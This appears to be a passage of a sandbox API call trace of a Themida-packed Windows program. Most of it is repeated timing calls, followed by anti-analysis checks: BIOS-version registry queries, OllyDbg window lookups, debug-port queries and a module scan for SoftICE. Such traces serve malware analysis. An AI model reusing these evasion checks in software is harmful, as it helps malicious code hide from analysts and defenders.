0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.307] timeGetTime () returned 0x4a16 [0259.307] Sleep (dwMilliseconds=0x32) [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.373] timeGetTime () returned 0x4a57 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.374] timeGetTime () returned 0x4a58 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.375] timeGetTime () returned 0x4a59 [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.376] timeGetTime () returned 0x4a5a [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.377] timeGetTime () returned 0x4a5b [0259.378] timeGetTime () returned 0x4a5c [0259.378] timeGetTime () returned 0x4a5c [0259.378] timeGetTime () returned 0x4a5c [0259.378] timeGetTime () returned 0x4a5c [0259.378] timeGetTime () returned 0x4a5c [0259.378] timeGetTime () returned 0x4a5c [0259.378] timeGetTime () returned 0x4a5c [0259.378] timeGetTime () returned 0x4a5c [0259.378] timeGetTime () returned 0x4a5c [0259.378] timeGetTime () returned 0x4a5c [0259.378] timeGetTime () returned 0x4a5c [0259.378] timeGetTime () returned 0x4a5c [0259.378] timeGetTime () returned 0x4a5c [0259.378] timeGetTime () returned 0x4a5c [0259.378] timeGetTime () returned 0x4a5c [0259.378] timeGetTime () returned 0x4a5c [0259.378] timeGetTime () returned 0x4a5c [0259.378] timeGetTime () returned 0x4a5c [0259.378] timeGetTime () returned 0x4a5c [0259.378] timeGetTime () returned 0x4a5c [0259.378] timeGetTime () returned 0x4a5c [0259.378] timeGetTime () returned 0x4a5c [0259.378] timeGetTime () returned 0x4a5c [0259.378] timeGetTime () returned 0x4a5c [0259.378] timeGetTime () returned 0x4a5c [0259.382] GetVersionExA (in: lpVersionInformation=0x630f5d*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x630f5d*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0259.382] GetSystemDirectoryA (in: lpBuffer=0x494525, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0259.382] CloseHandle (hObject=0x0) returned 0 [0259.382] CloseHandle (hObject=0x0) returned 0 [0259.382] CloseHandle (hObject=0x0) returned 0 [0259.386] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x60 [0259.386] CloseHandle (hObject=0x60) returned 1 [0259.386] OutputDebugStringA (lpOutputString="\r\n\n\n%s------------------------------------------------\n\r--- Themida Professional ---\n\r--- (c)2012 Oreans Technologies ---\n\r------------------------------------------------\r\n\n\n") [0259.388] VirtualAlloc (lpAddress=0x0, dwSize=0x5cc, flAllocationType=0x1000, flProtect=0x4) returned 0x240000 [0259.388] GetCurrentProcessId () returned 0x548 [0259.388] LoadLibraryA (lpLibFileName="NTDLL") returned 0x77350000 [0259.388] GetProcAddress (hModule=0x77350000, lpProcName="NtOpenThread") returned 0x77371128 [0259.389] LoadLibraryA (lpLibFileName="winmm.dll") returned 0x74e40000 [0259.389] GetProcAddress (hModule=0x74e40000, lpProcName="timeGetTime") returned 0x74e426e0 [0259.389] timeGetTime () returned 0x4a65 [0259.389] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x68 [0259.389] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x6c [0259.389] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x70 [0259.389] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x74 [0259.389] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x78 [0259.389] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x7c [0259.389] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x80 [0259.389] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x84 [0259.389] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x88 [0259.389] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x8c [0259.389] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x90 [0259.389] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x94 [0259.389] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x98 [0259.389] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x9c [0259.389] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xa0 [0259.389] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xa4 [0259.389] timeGetTime () returned 0x4a66 [0259.395] GetForegroundWindow () returned 0x10058 [0259.396] GetWindowTextA (in: hWnd=0x10058, lpString=0x669b94, nMaxCount=100 | out: lpString="Start") returned 5 [0259.402] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000", phkResult=0x673ee3 | out: phkResult=0x673ee3*=0xa8) returned 0x0 [0259.402] RegQueryValueExA (in: hKey=0xa8, lpValueName="DriverDesc", lpReserved=0x0, lpType=0x0, lpData=0x673ee7, lpcbData=0x6740e7*=0x200 | out: lpType=0x0, lpData=0x673ee7*=0x53, lpcbData=0x6740e7*=0x1e) returned 0x0 [0259.402] RegCloseKey (hKey=0xa8) returned 0x0 [0259.402] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Hardware\\description\\System", phkResult=0x673ee3 | out: phkResult=0x673ee3*=0xa8) returned 0x0 [0259.402] RegQueryValueExA (in: hKey=0xa8, lpValueName="SystemBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x673ee7, lpcbData=0x6740e7*=0x200 | out: lpType=0x0, lpData=0x673ee7*=0x50, lpcbData=0x6740e7*=0x46) returned 0x0 [0259.402] RegQueryValueExA (in: hKey=0xa8, lpValueName="VideoBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x673ee7, lpcbData=0x6740e7*=0x200 | out: lpType=0x0, lpData=0x673ee7*=0x50, lpcbData=0x6740e7*=0x200) returned 0x2 [0259.402] RegQueryValueExA (in: hKey=0xa8, lpValueName="SystemBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x673ee7, lpcbData=0x6740e7*=0x200 | out: lpType=0x0, lpData=0x673ee7*=0x50, lpcbData=0x6740e7*=0x46) returned 0x0 [0259.402] RegCloseKey (hKey=0xa8) returned 0x0 [0259.402] FindWindowA (lpClassName="OLLYDBG", lpWindowName=0x0) returned 0x0 [0259.403] FindWindowA (lpClassName="GBDYLLO", lpWindowName=0x0) returned 0x0 [0259.403] FindWindowA (lpClassName="pediy06", lpWindowName=0x0) returned 0x0 [0259.403] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0xb0 [0259.483] Process32First (in: hSnapshot=0xb0, lppe=0x678b73 | out: lppe=0x678b73*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.484] Process32Next (in: hSnapshot=0xb0, lppe=0x678b73 | out: lppe=0x678b73*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0259.484] CloseHandle (hObject=0xb0) returned 1 [0259.484] GetSystemDirectoryA (in: lpBuffer=0x494525, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0259.484] CreateFileA (lpFileName="C:\\Windows\\system32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x4, hTemplateFile=0x0) returned 0xb0 [0259.485] SetFilePointer (in: hFile=0xb0, lDistanceToMove=65224, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfec8 [0259.485] ReadFile (in: hFile=0xb0, lpBuffer=0x67fa81, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x67faa1, lpOverlapped=0x0 | out: lpBuffer=0x67fa81*, lpNumberOfBytesRead=0x67faa1*=0x20, lpOverlapped=0x0) returned 1 [0259.486] CloseHandle (hObject=0xb0) returned 1 [0259.487] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x7, ProcessInformation=0x18ff30, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x18ff30, ReturnLength=0x0) returned 0x0 [0259.487] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x250000 [0259.487] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77350000 [0259.487] GetProcAddress (hModule=0x77350000, lpProcName="NtQuerySystemInformation") returned 0x7736fda0 [0259.487] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x250000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x250000, ResultLength=0x0) returned 0x0 [0259.488] lstrcmpiA (lpString1="ntice.sys", lpString2="ntoskrnl.exe") returned -1 [0259.491] lstrcmpiA (lpString1="ntice.sys", lpString2="hal.dll") returned 1 [0259.491] lstrcmpiA (lpString1="ntice.sys", lpString2="kdcom.dll") returned 1 [0259.492] lstrcmpiA (lpString1="ntice.sys", lpString2="mcupdate_GenuineIntel.dll") returned 1 [0259.492] lstrcmpiA (lpString1="ntice.sys", lpString2="PSHED.dll") returned -1 [0259.493] lstrcmpiA (lpString1="ntice.sys", lpString2="CLFS.SYS") returned 1 [0259.493] lstrcmpiA (lpString1="ntice.sys", lpString2="CI.dll") returned 1 [0259.493] lstrcmpiA (lpString1="ntice.sys", lpString2="Wdf01000.sys") returned -1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="WDFLDR.SYS") returned -1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="ACPI.sys") returned 1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="WMILIB.SYS") returned -1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="msisadrv.sys") returned 1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="pci.sys") returned -1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="vdrvroot.sys") returned -1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="partmgr.sys") returned -1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="volmgr.sys") returned -1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="volmgrx.sys") returned -1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="mountmgr.sys") returned 1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="atapi.sys") returned 1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="ataport.SYS") returned 1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="msahci.sys") returned 1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="PCIIDEX.SYS") returned -1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="amdxata.sys") returned 1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="fltmgr.sys") returned 1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="fileinfo.sys") returned 1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="Ntfs.sys") returned 1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="msrpc.sys") returned 1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="ksecdd.sys") returned 1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="cng.sys") returned 1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="pcw.sys") returned -1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="Fs_Rec.sys") returned 1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="ndis.sys") returned 1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="NETIO.SYS") returned 1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="ksecpkg.sys") returned 1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="tcpip.sys") returned -1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="fwpkclnt.sys") returned 1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="vmstorfl.sys") returned -1 [0259.494] lstrcmpiA (lpString1="ntice.sys", lpString2="volsnap.sys") returned -1 [0259.495] lstrcmpiA (lpString1="ntice.sys", lpString2="spldr.sys") returned -1 [0259.495] lstrcmpiA (lpString1="ntice.sys", lpString2="rdyboost.sys") returned -1 [0259.495] lstrcmpiA (lpString1="ntice.sys", lpString2="mup.sys") returned 1 [0259.495] lstrcmpiA (lpString1="ntice.sys", lpString2="hwpolicy.sys") returned 1 [0259.495] lstrcmpiA (lpString1="ntice.sys", lpString2="fvevol.sys") returned 1 [0259.495] lstrcmpiA (lpString1="ntice.sys", lpString2="disk.sys") returned 1 [0259.495] lstrcmpiA (lpString1="ntice.sys", lpString2="CLASSPNP.SYS") returned 1 [0259.495] lstrcmpiA (lpString1="ntice.sys", lpString2="Null.SYS") returned -1 [0259.495] lstrcmpiA (lpString1="ntice.sys", lpString2="Beep.SYS") returned 1 [0259.495] lstrcmpiA (lpString1="ntice.sys", lpString2="vga.sys") returned -1 [0259.495] lstrcmpiA (lpString1="ntice.sys", lpString2="VIDEOPRT.SYS") returned -1 [0259.495] lstrcmpiA (lpString1="ntice.sys", lpString2="watchdog.sys") returned -1 [0259.495] lstrcmpiA (lpString1="ntice.sys", lpString2="RDPCDD.sys") returned -1 [0259.495] lstrcmpiA (lpString1="ntice.sys", lpString2="rdpencdd.sys") returned -1 [0259.495] lstrcmpiA (lpString1="ntice.sys", lpString2="rdprefmp.sys") returned -1 [0259.495] lstrcmpiA (lpString1="ntice.sys", lpString2="Msfs.SYS") returned 1 [0259.495] lstrcmpiA (lpString1="ntice.sys", lpString2="Npfs.SYS") returned 1 [0259.495] lstrcmpiA (lpString1="ntice.sys", lpString2="tdx.sys") returned -1 [0259.495] lstrcmpiA (lpString1="ntice.sys", lpString2="TDI.SYS") returned -1 [0259.495] lstrcmpiA (lpString1="ntice.sys", lpString2="afd.sys") returned 1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="netbt.sys") returned 1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="wfplwf.sys") returned -1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="pacer.sys") returned -1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="netbios.sys") returned 1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="wanarp.sys") returned -1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="termdd.sys") returned -1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="rdbss.sys") returned -1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="nsiproxy.sys") returned 1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="mssmbios.sys") returned 1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="discache.sys") returned 1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="csc.sys") returned 1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="dfsc.sys") returned 1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="blbdrive.sys") returned 1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="tunnel.sys") returned -1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="vgapnp.sys") returned -1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="HDAudBus.sys") returned 1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="usbehci.sys") returned -1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="USBPORT.SYS") returned -1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="E1G6032E.sys") returned 1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="intelppm.sys") returned 1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="CompositeBus.sys") returned 1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="AgileVpn.sys") returned 1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="rasl2tp.sys") returned -1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="ndistapi.sys") returned 1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="ndiswan.sys") returned 1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="raspppoe.sys") returned -1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="raspptp.sys") returned -1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="rassstp.sys") returned -1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="rdpbus.sys") returned -1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="kbdclass.sys") returned 1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="mouclass.sys") returned 1 [0259.496] lstrcmpiA (lpString1="ntice.sys", lpString2="swenum.sys") returned -1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="ks.sys") returned 1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="umbus.sys") returned -1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="usbhub.sys") returned -1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="NDProxy.SYS") returned 1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="HdAudio.sys") returned 1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="portcls.sys") returned -1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="drmk.sys") returned 1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="ksthunk.sys") returned 1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="crashdmp.sys") returned 1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_dumpata.sys") returned 1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_msahci.sys") returned 1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_dumpfve.sys") returned 1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="win32k.sys") returned -1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="Dxapi.sys") returned 1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="dxg.sys") returned 1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="monitor.sys") returned 1 [0259.497] 